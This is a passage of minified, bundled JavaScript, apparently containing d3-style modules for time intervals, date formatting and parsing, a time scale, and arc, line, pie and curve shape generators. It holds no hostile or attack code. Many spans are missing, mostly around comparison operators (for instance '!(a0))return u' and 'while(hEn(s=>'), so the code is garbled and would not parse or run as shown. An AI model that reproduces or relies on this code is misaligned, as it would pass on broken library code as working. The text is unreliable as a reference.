i(a){return t(a=arguments.length===0?new Date:new Date(+a)),a}return o(i,"interval"),i.floor=a=>(t(a=new Date(+a)),a),i.ceil=a=>(t(a=new Date(a-1)),e(a,1),t(a),a),i.round=a=>{let s=i(a),l=i.ceil(a);return a-s(e(a=new Date(+a),s==null?1:Math.floor(s)),a),i.range=(a,s,l)=>{let u=[];if(a=i.ceil(a),l=l==null?1:Math.floor(l),!(a0))return u;let h;do u.push(h=new Date(+a)),e(a,l),t(a);while(hEn(s=>{if(s>=s)for(;t(s),!a(s);)s.setTime(s-1)},(s,l)=>{if(s>=s)if(l<0)for(;++l<=0;)for(;e(s,-1),!a(s););else for(;--l>=0;)for(;e(s,1),!a(s););}),r&&(i.count=(a,s)=>(DD.setTime(+a),LD.setTime(+s),t(DD),t(LD),Math.floor(r(DD,LD))),i.every=a=>(a=Math.floor(a),!isFinite(a)||!(a>0)?null:a>1?i.filter(n?s=>n(s)%a===0:s=>i.count(0,s)%a===0):i)),i}var DD,LD,wu=N(()=>{"use strict";DD=new Date,LD=new Date;o(En,"timeInterval")});var uc,XY,RD=N(()=>{"use strict";wu();uc=En(()=>{},(t,e)=>{t.setTime(+t+e)},(t,e)=>e-t);uc.every=t=>(t=Math.floor(t),!isFinite(t)||!(t>0)?null:t>1?En(e=>{e.setTime(Math.floor(e/t)*t)},(e,r)=>{e.setTime(+e+r*t)},(e,r)=>(r-e)/t):uc);XY=uc.range});var io,jY,ND=N(()=>{"use strict";wu();io=En(t=>{t.setTime(t-t.getMilliseconds())},(t,e)=>{t.setTime(+t+e*1e3)},(t,e)=>(e-t)/1e3,t=>t.getUTCSeconds()),jY=io.range});var ku,c6e,M5,u6e,MD=N(()=>{"use strict";wu();ku=En(t=>{t.setTime(t-t.getMilliseconds()-t.getSeconds()*1e3)},(t,e)=>{t.setTime(+t+e*6e4)},(t,e)=>(e-t)/6e4,t=>t.getMinutes()),c6e=ku.range,M5=En(t=>{t.setUTCSeconds(0,0)},(t,e)=>{t.setTime(+t+e*6e4)},(t,e)=>(e-t)/6e4,t=>t.getUTCMinutes()),u6e=M5.range});var Eu,h6e,I5,f6e,ID=N(()=>{"use strict";wu();Eu=En(t=>{t.setTime(t-t.getMilliseconds()-t.getSeconds()*1e3-t.getMinutes()*6e4)},(t,e)=>{t.setTime(+t+e*36e5)},(t,e)=>(e-t)/36e5,t=>t.getHours()),h6e=Eu.range,I5=En(t=>{t.setUTCMinutes(0,0,0)},(t,e)=>{t.setTime(+t+e*36e5)},(t,e)=>(e-t)/36e5,t=>t.getUTCHours()),f6e=I5.range});var Ro,d6e,Pv,p6e,O5,m6e,OD=N(()=>{"use strict";wu();Ro=En(t=>t.setHours(0,0,0,0),(t,e)=>t.setDate(t.getDate()+e),(t,e)=>(e-t-(e.getTimezoneOffset()-t.getTimezoneOffset())*6e4)/864e5,t=>t.getDate()-1),d6e=Ro.range,Pv=En(t=>{t.setUTCHours(0,0,0,0)},(t,e)=>{t.setUTCDate(t.getUTCDate()+e)},(t,e)=>(e-t)/864e5,t=>t.getUTCDate()-1),p6e=Pv.range,O5=En(t=>{t.setUTCHours(0,0,0,0)},(t,e)=>{t.setUTCDate(t.getUTCDate()+e)},(t,e)=>(e-t)/864e5,t=>Math.floor(t/864e5)),m6e=O5.range});function Md(t){return En(e=>{e.setDate(e.getDate()-(e.getDay()+7-t)%7),e.setHours(0,0,0,0)},(e,r)=>{e.setDate(e.getDate()+r*7)},(e,r)=>(r-e-(r.getTimezoneOffset()-e.getTimezoneOffset())*6e4)/6048e5)}function Id(t){return En(e=>{e.setUTCDate(e.getUTCDate()-(e.getUTCDay()+7-t)%7),e.setUTCHours(0,0,0,0)},(e,r)=>{e.setUTCDate(e.getUTCDate()+r*7)},(e,r)=>(r-e)/6048e5)}var wl,Ih,P5,B5,fc,F5,$5,QY,g6e,y6e,v6e,x6e,b6e,T6e,Od,Y0,ZY,JY,Oh,eX,tX,rX,w6e,k6e,E6e,S6e,C6e,A6e,PD=N(()=>{"use strict";wu();o(Md,"timeWeekday");wl=Md(0),Ih=Md(1),P5=Md(2),B5=Md(3),fc=Md(4),F5=Md(5),$5=Md(6),QY=wl.range,g6e=Ih.range,y6e=P5.range,v6e=B5.range,x6e=fc.range,b6e=F5.range,T6e=$5.range;o(Id,"utcWeekday");Od=Id(0),Y0=Id(1),ZY=Id(2),JY=Id(3),Oh=Id(4),eX=Id(5),tX=Id(6),rX=Od.range,w6e=Y0.range,k6e=ZY.range,E6e=JY.range,S6e=Oh.range,C6e=eX.range,A6e=tX.range});var Su,_6e,z5,D6e,BD=N(()=>{"use strict";wu();Su=En(t=>{t.setDate(1),t.setHours(0,0,0,0)},(t,e)=>{t.setMonth(t.getMonth()+e)},(t,e)=>e.getMonth()-t.getMonth()+(e.getFullYear()-t.getFullYear())*12,t=>t.getMonth()),_6e=Su.range,z5=En(t=>{t.setUTCDate(1),t.setUTCHours(0,0,0,0)},(t,e)=>{t.setUTCMonth(t.getUTCMonth()+e)},(t,e)=>e.getUTCMonth()-t.getUTCMonth()+(e.getUTCFullYear()-t.getUTCFullYear())*12,t=>t.getUTCMonth()),D6e=z5.range});var ao,L6e,kl,R6e,FD=N(()=>{"use strict";wu();ao=En(t=>{t.setMonth(0,1),t.setHours(0,0,0,0)},(t,e)=>{t.setFullYear(t.getFullYear()+e)},(t,e)=>e.getFullYear()-t.getFullYear(),t=>t.getFullYear());ao.every=t=>!isFinite(t=Math.floor(t))||!(t>0)?null:En(e=>{e.setFullYear(Math.floor(e.getFullYear()/t)*t),e.setMonth(0,1),e.setHours(0,0,0,0)},(e,r)=>{e.setFullYear(e.getFullYear()+r*t)});L6e=ao.range,kl=En(t=>{t.setUTCMonth(0,1),t.setUTCHours(0,0,0,0)},(t,e)=>{t.setUTCFullYear(t.getUTCFullYear()+e)},(t,e)=>e.getUTCFullYear()-t.getUTCFullYear(),t=>t.getUTCFullYear());kl.every=t=>!isFinite(t=Math.floor(t))||!(t>0)?null:En(e=>{e.setUTCFullYear(Math.floor(e.getUTCFullYear()/t)*t),e.setUTCMonth(0,1),e.setUTCHours(0,0,0,0)},(e,r)=>{e.setUTCFullYear(e.getUTCFullYear()+r*t)});R6e=kl.range});function iX(t,e,r,n,i,a){let s=[[io,1,1e3],[io,5,5*1e3],[io,15,15*1e3],[io,30,30*1e3],[a,1,6e4],[a,5,5*6e4],[a,15,15*6e4],[a,30,30*6e4],[i,1,36e5],[i,3,3*36e5],[i,6,6*36e5],[i,12,12*36e5],[n,1,864e5],[n,2,2*864e5],[r,1,6048e5],[e,1,2592e6],[e,3,3*2592e6],[t,1,31536e6]];function l(h,f,d){let p=fv).right(s,p);if(m===s.length)return t.every(L0(h/31536e6,f/31536e6,d));if(m===0)return uc.every(Math.max(L0(h,f,d),1));let[g,y]=s[p/s[m-1][2]{"use strict";Ch();RD();ND();MD();ID();OD();PD();BD();FD();o(iX,"ticker");[M6e,I6e]=iX(kl,z5,Od,O5,I5,M5),[$D,zD]=iX(ao,Su,wl,Ro,Eu,ku)});var G5=N(()=>{"use strict";RD();ND();MD();ID();OD();PD();BD();FD();aX()});function GD(t){if(0<=t.y&&t.y<100){var e=new Date(-1,t.m,t.d,t.H,t.M,t.S,t.L);return e.setFullYear(t.y),e}return new Date(t.y,t.m,t.d,t.H,t.M,t.S,t.L)}function VD(t){if(0<=t.y&&t.y<100){var e=new Date(Date.UTC(-1,t.m,t.d,t.H,t.M,t.S,t.L));return e.setUTCFullYear(t.y),e}return new Date(Date.UTC(t.y,t.m,t.d,t.H,t.M,t.S,t.L))}function Bv(t,e,r){return{y:t,m:e,d:r,H:0,M:0,S:0,L:0}}function UD(t){var e=t.dateTime,r=t.date,n=t.time,i=t.periods,a=t.days,s=t.shortDays,l=t.months,u=t.shortMonths,h=Fv(i),f=$v(i),d=Fv(a),p=$v(a),m=Fv(s),g=$v(s),y=Fv(l),v=$v(l),x=Fv(u),b=$v(u),T={a:P,A:B,b:F,B:G,c:null,d:hX,e:hX,f:nCe,g:dCe,G:mCe,H:eCe,I:tCe,j:rCe,L:gX,m:iCe,M:aCe,p:$,q:U,Q:pX,s:mX,S:sCe,u:oCe,U:lCe,V:cCe,w:uCe,W:hCe,x:null,X:null,y:fCe,Y:pCe,Z:gCe,"%":dX},S={a:j,A:te,b:Y,B:oe,c:null,d:fX,e:fX,f:bCe,g:LCe,G:NCe,H:yCe,I:vCe,j:xCe,L:vX,m:TCe,M:wCe,p:J,q:ue,Q:pX,s:mX,S:kCe,u:ECe,U:SCe,V:CCe,w:ACe,W:_Ce,x:null,X:null,y:DCe,Y:RCe,Z:MCe,"%":dX},w={a:I,A:L,b:E,B:D,c:_,d:cX,e:cX,f:K6e,g:lX,G:oX,H:uX,I:uX,j:W6e,L:j6e,m:q6e,M:Y6e,p:R,q:H6e,Q:Z6e,s:J6e,S:X6e,u:$6e,U:z6e,V:G6e,w:F6e,W:V6e,x:O,X:M,y:lX,Y:oX,Z:U6e,"%":Q6e};T.x=k(r,T),T.X=k(n,T),T.c=k(e,T),S.x=k(r,S),S.X=k(n,S),S.c=k(e,S);function k(re,ee){return function(Z){var K=[],ae=-1,Q=0,de=re.length,ne,Te,q;for(Z instanceof Date||(Z=new Date(+Z));++ae53)return null;"w"in K||(K.w=1),"Z"in K?(Q=VD(Bv(K.y,0,1)),de=Q.getUTCDay(),Q=de>4||de===0?Y0.ceil(Q):Y0(Q),Q=Pv.offset(Q,(K.V-1)*7),K.y=Q.getUTCFullYear(),K.m=Q.getUTCMonth(),K.d=Q.getUTCDate()+(K.w+6)%7):(Q=GD(Bv(K.y,0,1)),de=Q.getDay(),Q=de>4||de===0?Ih.ceil(Q):Ih(Q),Q=Ro.offset(Q,(K.V-1)*7),K.y=Q.getFullYear(),K.m=Q.getMonth(),K.d=Q.getDate()+(K.w+6)%7)}else("W"in K||"U"in K)&&("w"in K||(K.w="u"in K?K.u%7:"W"in K?1:0),de="Z"in K?VD(Bv(K.y,0,1)).getUTCDay():GD(Bv(K.y,0,1)).getDay(),K.m=0,K.d="W"in K?(K.w+6)%7+K.W*7-(de+5)%7:K.w+K.U*7-(de+6)%7);return"Z"in K?(K.H+=K.Z/100|0,K.M+=K.Z%100,VD(K)):GD(K)}}o(A,"newParse");function C(re,ee,Z,K){for(var ae=0,Q=ee.length,de=Z.length,ne,Te;ae=de)return-1;if(ne=ee.charCodeAt(ae++),ne===37){if(ne=ee.charAt(ae++),Te=w[ne in sX?ee.charAt(ae++):ne],!Te||(K=Te(re,Z,K))<0)return-1}else if(ne!=Z.charCodeAt(K++))return-1}return K}o(C,"parseSpecifier");function R(re,ee,Z){var K=h.exec(ee.slice(Z));return K?(re.p=f.get(K[0].toLowerCase()),Z+K[0].length):-1}o(R,"parsePeriod");function I(re,ee,Z){var K=m.exec(ee.slice(Z));return K?(re.w=g.get(K[0].toLowerCase()),Z+K[0].length):-1}o(I,"parseShortWeekday");function L(re,ee,Z){var K=d.exec(ee.slice(Z));return K?(re.w=p.get(K[0].toLowerCase()),Z+K[0].length):-1}o(L,"parseWeekday");function E(re,ee,Z){var K=x.exec(ee.slice(Z));return K?(re.m=b.get(K[0].toLowerCase()),Z+K[0].length):-1}o(E,"parseShortMonth");function D(re,ee,Z){var K=y.exec(ee.slice(Z));return K?(re.m=v.get(K[0].toLowerCase()),Z+K[0].length):-1}o(D,"parseMonth");function _(re,ee,Z){return C(re,e,ee,Z)}o(_,"parseLocaleDateTime");function O(re,ee,Z){return C(re,r,ee,Z)}o(O,"parseLocaleDate");function M(re,ee,Z){return C(re,n,ee,Z)}o(M,"parseLocaleTime");function P(re){return s[re.getDay()]}o(P,"formatShortWeekday");function B(re){return a[re.getDay()]}o(B,"formatWeekday");function F(re){return u[re.getMonth()]}o(F,"formatShortMonth");function G(re){return l[re.getMonth()]}o(G,"formatMonth");function $(re){return i[+(re.getHours()>=12)]}o($,"formatPeriod");function U(re){return 1+~~(re.getMonth()/3)}o(U,"formatQuarter");function j(re){return s[re.getUTCDay()]}o(j,"formatUTCShortWeekday");function te(re){return a[re.getUTCDay()]}o(te,"formatUTCWeekday");function Y(re){return u[re.getUTCMonth()]}o(Y,"formatUTCShortMonth");function oe(re){return l[re.getUTCMonth()]}o(oe,"formatUTCMonth");function J(re){return i[+(re.getUTCHours()>=12)]}o(J,"formatUTCPeriod");function ue(re){return 1+~~(re.getUTCMonth()/3)}return o(ue,"formatUTCQuarter"),{format:o(function(re){var ee=k(re+="",T);return ee.toString=function(){return re},ee},"format"),parse:o(function(re){var ee=A(re+="",!1);return ee.toString=function(){return re},ee},"parse"),utcFormat:o(function(re){var ee=k(re+="",S);return ee.toString=function(){return re},ee},"utcFormat"),utcParse:o(function(re){var ee=A(re+="",!0);return ee.toString=function(){return re},ee},"utcParse")}}function Kr(t,e,r){var n=t<0?"-":"",i=(n?-t:t)+"",a=i.length;return n+(a[e.toLowerCase(),r]))}function F6e(t,e,r){var n=Yi.exec(e.slice(r,r+1));return n?(t.w=+n[0],r+n[0].length):-1}function $6e(t,e,r){var n=Yi.exec(e.slice(r,r+1));return n?(t.u=+n[0],r+n[0].length):-1}function z6e(t,e,r){var n=Yi.exec(e.slice(r,r+2));return n?(t.U=+n[0],r+n[0].length):-1}function G6e(t,e,r){var n=Yi.exec(e.slice(r,r+2));return n?(t.V=+n[0],r+n[0].length):-1}function V6e(t,e,r){var n=Yi.exec(e.slice(r,r+2));return n?(t.W=+n[0],r+n[0].length):-1}function oX(t,e,r){var n=Yi.exec(e.slice(r,r+4));return n?(t.y=+n[0],r+n[0].length):-1}function lX(t,e,r){var n=Yi.exec(e.slice(r,r+2));return n?(t.y=+n[0]+(+n[0]>68?1900:2e3),r+n[0].length):-1}function U6e(t,e,r){var n=/^(Z)|([+-]\d\d)(?::?(\d\d))?/.exec(e.slice(r,r+6));return n?(t.Z=n[1]?0:-(n[2]+(n[3]||"00")),r+n[0].length):-1}function H6e(t,e,r){var n=Yi.exec(e.slice(r,r+1));return n?(t.q=n[0]*3-3,r+n[0].length):-1}function q6e(t,e,r){var n=Yi.exec(e.slice(r,r+2));return n?(t.m=n[0]-1,r+n[0].length):-1}function cX(t,e,r){var n=Yi.exec(e.slice(r,r+2));return n?(t.d=+n[0],r+n[0].length):-1}function W6e(t,e,r){var n=Yi.exec(e.slice(r,r+3));return n?(t.m=0,t.d=+n[0],r+n[0].length):-1}function uX(t,e,r){var n=Yi.exec(e.slice(r,r+2));return n?(t.H=+n[0],r+n[0].length):-1}function Y6e(t,e,r){var n=Yi.exec(e.slice(r,r+2));return n?(t.M=+n[0],r+n[0].length):-1}function X6e(t,e,r){var n=Yi.exec(e.slice(r,r+2));return n?(t.S=+n[0],r+n[0].length):-1}function j6e(t,e,r){var n=Yi.exec(e.slice(r,r+3));return n?(t.L=+n[0],r+n[0].length):-1}function K6e(t,e,r){var n=Yi.exec(e.slice(r,r+6));return n?(t.L=Math.floor(n[0]/1e3),r+n[0].length):-1}function Q6e(t,e,r){var n=O6e.exec(e.slice(r,r+1));return n?r+n[0].length:-1}function Z6e(t,e,r){var n=Yi.exec(e.slice(r));return n?(t.Q=+n[0],r+n[0].length):-1}function J6e(t,e,r){var n=Yi.exec(e.slice(r));return n?(t.s=+n[0],r+n[0].length):-1}function hX(t,e){return Kr(t.getDate(),e,2)}function eCe(t,e){return Kr(t.getHours(),e,2)}function tCe(t,e){return Kr(t.getHours()%12||12,e,2)}function rCe(t,e){return Kr(1+Ro.count(ao(t),t),e,3)}function gX(t,e){return Kr(t.getMilliseconds(),e,3)}function nCe(t,e){return gX(t,e)+"000"}function iCe(t,e){return Kr(t.getMonth()+1,e,2)}function aCe(t,e){return Kr(t.getMinutes(),e,2)}function sCe(t,e){return Kr(t.getSeconds(),e,2)}function oCe(t){var e=t.getDay();return e===0?7:e}function lCe(t,e){return Kr(wl.count(ao(t)-1,t),e,2)}function yX(t){var e=t.getDay();return e>=4||e===0?fc(t):fc.ceil(t)}function cCe(t,e){return t=yX(t),Kr(fc.count(ao(t),t)+(ao(t).getDay()===4),e,2)}function uCe(t){return t.getDay()}function hCe(t,e){return Kr(Ih.count(ao(t)-1,t),e,2)}function fCe(t,e){return Kr(t.getFullYear()%100,e,2)}function dCe(t,e){return t=yX(t),Kr(t.getFullYear()%100,e,2)}function pCe(t,e){return Kr(t.getFullYear()%1e4,e,4)}function mCe(t,e){var r=t.getDay();return t=r>=4||r===0?fc(t):fc.ceil(t),Kr(t.getFullYear()%1e4,e,4)}function gCe(t){var e=t.getTimezoneOffset();return(e>0?"-":(e*=-1,"+"))+Kr(e/60|0,"0",2)+Kr(e%60,"0",2)}function fX(t,e){return Kr(t.getUTCDate(),e,2)}function yCe(t,e){return Kr(t.getUTCHours(),e,2)}function vCe(t,e){return Kr(t.getUTCHours()%12||12,e,2)}function xCe(t,e){return Kr(1+Pv.count(kl(t),t),e,3)}function vX(t,e){return Kr(t.getUTCMilliseconds(),e,3)}function bCe(t,e){return vX(t,e)+"000"}function TCe(t,e){return Kr(t.getUTCMonth()+1,e,2)}function wCe(t,e){return Kr(t.getUTCMinutes(),e,2)}function kCe(t,e){return Kr(t.getUTCSeconds(),e,2)}function ECe(t){var e=t.getUTCDay();return e===0?7:e}function SCe(t,e){return Kr(Od.count(kl(t)-1,t),e,2)}function xX(t){var e=t.getUTCDay();return e>=4||e===0?Oh(t):Oh.ceil(t)}function CCe(t,e){return t=xX(t),Kr(Oh.count(kl(t),t)+(kl(t).getUTCDay()===4),e,2)}function ACe(t){return t.getUTCDay()}function _Ce(t,e){return Kr(Y0.count(kl(t)-1,t),e,2)}function DCe(t,e){return Kr(t.getUTCFullYear()%100,e,2)}function LCe(t,e){return t=xX(t),Kr(t.getUTCFullYear()%100,e,2)}function RCe(t,e){return Kr(t.getUTCFullYear()%1e4,e,4)}function NCe(t,e){var r=t.getUTCDay();return t=r>=4||r===0?Oh(t):Oh.ceil(t),Kr(t.getUTCFullYear()%1e4,e,4)}function MCe(){return"+0000"}function dX(){return"%"}function pX(t){return+t}function mX(t){return Math.floor(+t/1e3)}var sX,Yi,O6e,P6e,bX=N(()=>{"use strict";G5();o(GD,"localDate");o(VD,"utcDate");o(Bv,"newDate");o(UD,"formatLocale");sX={"-":"",_:" ",0:"0"},Yi=/^\s*\d+/,O6e=/^%/,P6e=/[\\^$*+?|[\]().{}]/g;o(Kr,"pad");o(B6e,"requote");o(Fv,"formatRe");o($v,"formatLookup");o(F6e,"parseWeekdayNumberSunday");o($6e,"parseWeekdayNumberMonday");o(z6e,"parseWeekNumberSunday");o(G6e,"parseWeekNumberISO");o(V6e,"parseWeekNumberMonday");o(oX,"parseFullYear");o(lX,"parseYear");o(U6e,"parseZone");o(H6e,"parseQuarter");o(q6e,"parseMonthNumber");o(cX,"parseDayOfMonth");o(W6e,"parseDayOfYear");o(uX,"parseHour24");o(Y6e,"parseMinutes");o(X6e,"parseSeconds");o(j6e,"parseMilliseconds");o(K6e,"parseMicroseconds");o(Q6e,"parseLiteralPercent");o(Z6e,"parseUnixTimestamp");o(J6e,"parseUnixTimestampSeconds");o(hX,"formatDayOfMonth");o(eCe,"formatHour24");o(tCe,"formatHour12");o(rCe,"formatDayOfYear");o(gX,"formatMilliseconds");o(nCe,"formatMicroseconds");o(iCe,"formatMonthNumber");o(aCe,"formatMinutes");o(sCe,"formatSeconds");o(oCe,"formatWeekdayNumberMonday");o(lCe,"formatWeekNumberSunday");o(yX,"dISO");o(cCe,"formatWeekNumberISO");o(uCe,"formatWeekdayNumberSunday");o(hCe,"formatWeekNumberMonday");o(fCe,"formatYear");o(dCe,"formatYearISO");o(pCe,"formatFullYear");o(mCe,"formatFullYearISO");o(gCe,"formatZone");o(fX,"formatUTCDayOfMonth");o(yCe,"formatUTCHour24");o(vCe,"formatUTCHour12");o(xCe,"formatUTCDayOfYear");o(vX,"formatUTCMilliseconds");o(bCe,"formatUTCMicroseconds");o(TCe,"formatUTCMonthNumber");o(wCe,"formatUTCMinutes");o(kCe,"formatUTCSeconds");o(ECe,"formatUTCWeekdayNumberMonday");o(SCe,"formatUTCWeekNumberSunday");o(xX,"UTCdISO");o(CCe,"formatUTCWeekNumberISO");o(ACe,"formatUTCWeekdayNumberSunday");o(_Ce,"formatUTCWeekNumberMonday");o(DCe,"formatUTCYear");o(LCe,"formatUTCYearISO");o(RCe,"formatUTCFullYear");o(NCe,"formatUTCFullYearISO");o(MCe,"formatUTCZone");o(dX,"formatLiteralPercent");o(pX,"formatUnixTimestamp");o(mX,"formatUnixTimestampSeconds")});function HD(t){return X0=UD(t),Pd=X0.format,TX=X0.parse,wX=X0.utcFormat,kX=X0.utcParse,X0}var X0,Pd,TX,wX,kX,EX=N(()=>{"use strict";bX();HD({dateTime:"%x, %X",date:"%-m/%-d/%Y",time:"%-I:%M:%S %p",periods:["AM","PM"],days:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],shortDays:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],months:["January","February","March","April","May","June","July","August","September","October","November","December"],shortMonths:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"]});o(HD,"defaultLocale")});var qD=N(()=>{"use strict";EX()});function ICe(t){return new Date(t)}function OCe(t){return t instanceof Date?+t:+new Date(+t)}function SX(t,e,r,n,i,a,s,l,u,h){var f=Iv(),d=f.invert,p=f.domain,m=h(".%L"),g=h(":%S"),y=h("%I:%M"),v=h("%I %p"),x=h("%a %d"),b=h("%b %d"),T=h("%B"),S=h("%Y");function w(k){return(u(k){"use strict";G5();qD();CD();Mv();YY();o(ICe,"date");o(OCe,"number");o(SX,"calendar");o(V5,"time")});var AX=N(()=>{"use strict";GY();WY();wD();CX()});function WD(t){for(var e=t.length/6|0,r=new Array(e),n=0;n{"use strict";o(WD,"default")});var YD,DX=N(()=>{"use strict";_X();YD=WD("4e79a7f28e2ce1575976b7b259a14fedc949af7aa1ff9da79c755fbab0ab")});var LX=N(()=>{"use strict";DX()});function zn(t){return o(function(){return t},"constant")}var U5=N(()=>{"use strict";o(zn,"default")});function NX(t){return t>1?0:t<-1?j0:Math.acos(t)}function jD(t){return t>=1?zv:t<=-1?-zv:Math.asin(t)}var XD,ca,Ph,RX,H5,El,Bd,Xi,j0,zv,K0,q5=N(()=>{"use strict";XD=Math.abs,ca=Math.atan2,Ph=Math.cos,RX=Math.max,H5=Math.min,El=Math.sin,Bd=Math.sqrt,Xi=1e-12,j0=Math.PI,zv=j0/2,K0=2*j0;o(NX,"acos");o(jD,"asin")});function W5(t){let e=3;return t.digits=function(r){if(!arguments.length)return e;if(r==null)e=null;else{let n=Math.floor(r);if(!(n>=0))throw new RangeError(`invalid digits: ${r}`);e=n}return t},()=>new _d(e)}var KD=N(()=>{"use strict";W_();o(W5,"withPath")});function PCe(t){return t.innerRadius}function BCe(t){return t.outerRadius}function FCe(t){return t.startAngle}function $Ce(t){return t.endAngle}function zCe(t){return t&&t.padAngle}function GCe(t,e,r,n,i,a,s,l){var u=r-t,h=n-e,f=s-i,d=l-a,p=d*u-f*h;if(!(p*p_*_+O*O&&(C=I,R=L),{cx:C,cy:R,x01:-f,y01:-d,x11:C*(i/w-1),y11:R*(i/w-1)}}function Sl(){var t=PCe,e=BCe,r=zn(0),n=null,i=FCe,a=$Ce,s=zCe,l=null,u=W5(h);function h(){var f,d,p=+t.apply(this,arguments),m=+e.apply(this,arguments),g=i.apply(this,arguments)-zv,y=a.apply(this,arguments)-zv,v=XD(y-g),x=y>g;if(l||(l=f=u()),mXi))l.moveTo(0,0);else if(v>K0-Xi)l.moveTo(m*Ph(g),m*El(g)),l.arc(0,0,m,g,y,!x),p>Xi&&(l.moveTo(p*Ph(y),p*El(y)),l.arc(0,0,p,y,g,x));else{var b=g,T=y,S=g,w=y,k=v,A=v,C=s.apply(this,arguments)/2,R=C>Xi&&(n?+n.apply(this,arguments):Bd(p*p+m*m)),I=H5(XD(m-p)/2,+r.apply(this,arguments)),L=I,E=I,D,_;if(R>Xi){var O=jD(R/p*El(C)),M=jD(R/m*El(C));(k-=O*2)>Xi?(O*=x?1:-1,S+=O,w-=O):(k=0,S=w=(g+y)/2),(A-=M*2)>Xi?(M*=x?1:-1,b+=M,T-=M):(A=0,b=T=(g+y)/2)}var P=m*Ph(b),B=m*El(b),F=p*Ph(w),G=p*El(w);if(I>Xi){var $=m*Ph(T),U=m*El(T),j=p*Ph(S),te=p*El(S),Y;if(vXi?E>Xi?(D=Y5(j,te,P,B,m,E,x),_=Y5($,U,F,G,m,E,x),l.moveTo(D.cx+D.x01,D.cy+D.y01),EXi)||!(k>Xi)?l.lineTo(F,G):L>Xi?(D=Y5(F,G,$,U,p,-L,x),_=Y5(P,B,j,te,p,-L,x),l.lineTo(D.cx+D.x01,D.cy+D.y01),L{"use strict";U5();q5();KD();o(PCe,"arcInnerRadius");o(BCe,"arcOuterRadius");o(FCe,"arcStartAngle");o($Ce,"arcEndAngle");o(zCe,"arcPadAngle");o(GCe,"intersect");o(Y5,"cornerTangents");o(Sl,"default")});function Gv(t){return typeof t=="object"&&"length"in t?t:Array.from(t)}var Zxt,QD=N(()=>{"use strict";Zxt=Array.prototype.slice;o(Gv,"default")});function IX(t){this._context=t}function Cu(t){return new IX(t)}var ZD=N(()=>{"use strict";o(IX,"Linear");IX.prototype={areaStart:o(function(){this._line=0},"areaStart"),areaEnd:o(function(){this._line=NaN},"areaEnd"),lineStart:o(function(){this._point=0},"lineStart"),lineEnd:o(function(){(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},"lineEnd"),point:o(function(t,e){switch(t=+t,e=+e,this._point){case 0:this._point=1,this._line?this._context.lineTo(t,e):this._context.moveTo(t,e);break;case 1:this._point=2;default:this._context.lineTo(t,e);break}},"point")};o(Cu,"default")});function OX(t){return t[0]}function PX(t){return t[1]}var BX=N(()=>{"use strict";o(OX,"x");o(PX,"y")});function Cl(t,e){var r=zn(!0),n=null,i=Cu,a=null,s=W5(l);t=typeof t=="function"?t:t===void 0?OX:zn(t),e=typeof e=="function"?e:e===void 0?PX:zn(e);function l(u){var h,f=(u=Gv(u)).length,d,p=!1,m;for(n==null&&(a=i(m=s())),h=0;h<=f;++h)!(h{"use strict";QD();U5();ZD();KD();BX();o(Cl,"default")});function JD(t,e){return et?1:e>=t?0:NaN}var $X=N(()=>{"use strict";o(JD,"default")});function eL(t){return t}var zX=N(()=>{"use strict";o(eL,"default")});function X5(){var t=eL,e=JD,r=null,n=zn(0),i=zn(K0),a=zn(0);function s(l){var u,h=(l=Gv(l)).length,f,d,p=0,m=new Array(h),g=new Array(h),y=+n.apply(this,arguments),v=Math.min(K0,Math.max(-K0,i.apply(this,arguments)-y)),x,b=Math.min(Math.abs(v)/h,a.apply(this,arguments)),T=b*(v<0?-1:1),S;for(u=0;u0&&(p+=S);for(e!=null?m.sort(function(w,k){return e(g[w],g[k])}):r!=null&&m.sort(function(w,k){return r(l[w],l[k])}),u=0,d=p?(v-h*T)/p:0;u0?S*d:0)+T,g[f]={data:l[f],index:u,value:S,startAngle:y,endAngle:x,padAngle:b};return g}return o(s,"pie"),s.value=function(l){return arguments.length?(t=typeof l=="function"?l:zn(+l),s):t},s.sortValues=function(l){return arguments.length?(e=l,r=null,s):e},s.sort=function(l){return arguments.length?(r=l,e=null,s):r},s.startAngle=function(l){return arguments.length?(n=typeof l=="function"?l:zn(+l),s):n},s.endAngle=function(l){return arguments.length?(i=typeof l=="function"?l:zn(+l),s):i},s.padAngle=function(l){return arguments.length?(a=typeof l=="function"?l:zn(+l),s):a},s}var GX=N(()=>{"use strict";QD();U5();$X();zX();q5();o(X5,"default")});function Vv(t){return new j5(t,!0)}function Uv(t){return new j5(t,!1)}var j5,VX=N(()=>{"use strict";j5=class{static{o(this,"Bump")}constructor(e,r){this._context=e,this._x=r}areaStart(){this._line=0}areaEnd(){this._line=NaN}lineStart(){this._point=0}lineEnd(){(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line}point(e,r){switch(e=+e,r=+r,this._point){case 0:{this._point=1,this._line?this._context.lineTo(e,r):this._context.moveTo(e,r);break}case 1:this._point=2;default:{this._x?this._context.bezierCurveTo(this._x0=(this._x0+e)/2,this._y0,this._x0,r,e,r):this._context.bezierCurveTo(this._x0,this._y0=(this._y0+r)/2,e,this._y0,e,r);break}}this._x0=e,this._y0=r}};o(Vv,"bumpX");o(Uv,"bumpY")});function so(){}var Hv=N(()=>{"use strict";o(so,"default")});function Q0(t,e,r){t._context.bezierCurveTo((2*t._x0+t._x1)/3,(2*t._y0+t._y1)/3,(t._x0+2*t._x1)/3,(t._y0+2*t._y1)/3,(t._x0+4*t._x1+e)/6,(t._y0+4*t._y1+r)/6)}function qv(t){this._context=t}function No(t){return new qv(t)}var Wv=N(()=>{"use strict";o(Q0,"point");o(qv,"Basis");qv.prototype={areaStart:o(function(){this._line=0},"areaStart"),areaEnd:o(function(){this._line=NaN},"areaEnd"),lineStart:o(function(){this._x0=this._x1=this._y0=this._y1=NaN,this._point=0},"lineStart"),lineEnd:o(function(){switch(this._point){case 3:Q0(this,this._x1,this._y1);case 2:this._context.lineTo(this._x1,this._y1);break}(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},"lineEnd"),point:o(function(t,e){switch(t=+t,e=+e,this._point){case 0:this._point=1,this._line?this._context.lineTo(t,e):this._context.moveTo(t,e);break;case 1:this._point=2;break;case 2:this._point=3,this._context.lineTo((5*this._x0+this._x1)/6,(5*this._y0+this._y1)/6);default:Q0(this,t,e);break}this._x0=this._x1,this._x1=t,this._y0=this._y1,this._y1=e},"point")};o(No,"default")});function UX(t){this._context=t}function K5(t){return new UX(t)}var 